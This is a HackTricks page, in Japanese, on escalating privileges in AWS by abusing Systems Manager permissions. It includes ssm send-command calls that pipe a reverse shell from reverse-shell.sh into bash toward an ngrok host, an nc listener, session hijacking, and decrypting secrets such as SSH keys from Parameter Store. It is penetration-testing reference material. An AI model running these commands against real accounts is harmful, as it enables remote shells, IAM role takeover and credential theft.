AWS - SSM Privesc

HackTricksをサポートする

SSM

SSMに関する詳細情報は以下を確認してください:

ssm:SendCommand

ssm:SendCommandの権限を持つ攻撃者は、Amazon SSMエージェントを実行しているインスタンスでコマンドを実行し、その中で実行されているIAMロールを侵害することができます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
既に侵害されたEC2インスタンス内で特権を昇格させるためにこの技術を使用している場合、次のコマンドでローカルにrevシェルをキャプチャできます:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在的な影響: SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。

ssm:StartSession

ssm:StartSession の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを開始し、その中で実行されているIAMロールを侵害することができます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

潜在的な影響: SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。

ECSへの権限昇格

ECSタスクが**ExecuteCommandを有効にして実行されると、十分な権限を持つユーザーはecs execute-commandを使用してコンテナ内でコマンドを実行できます。 ドキュメントによると、これは“exec”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。(これが機能するためにはSSMセッションマネージャープラグインが必要です) したがって、ssm:StartSessionを持つユーザーは、そのオプションが有効になっているECSタスク内でシェルを取得**できるようになります。

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

潜在的な影響: ExecuteCommandが有効な実行中のタスクに添付されたECSIAMロールへの直接的な権限昇格。

ssm:ResumeSession

ssm:ResumeSessionの権限を持つ攻撃者は、切断されたSSMセッション状態のAmazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを再開始し、その中で実行されているIAMロールを侵害することができます。

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在的な影響: SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

言及された権限を持つ攻撃者は、SSMパラメータをリストし、平文で読むことができるようになります。これらのパラメータには、SSHキーやAPIキーなどの機密情報が頻繁に見つかることがあります。

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

潜在的な影響: パラメータ内の機密情報を見つける。

ssm:ListCommands

この権限を持つ攻撃者は、送信されたすべてのコマンドをリストし、そこに機密情報が含まれていることを期待できます。

aws ssm list-commands

潜在的影響: コマンドライン内の機密情報を見つける。

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

これらの権限を持つ攻撃者は、送信されたすべてのコマンドをリストし、生成された出力を読み取ることができ、そこに機密情報が見つかることを期待します。

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

潜在的影響: コマンドラインの出力内に機密情報を見つける。

Codebuild

SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます:

HackTricksをサポートする

Last updated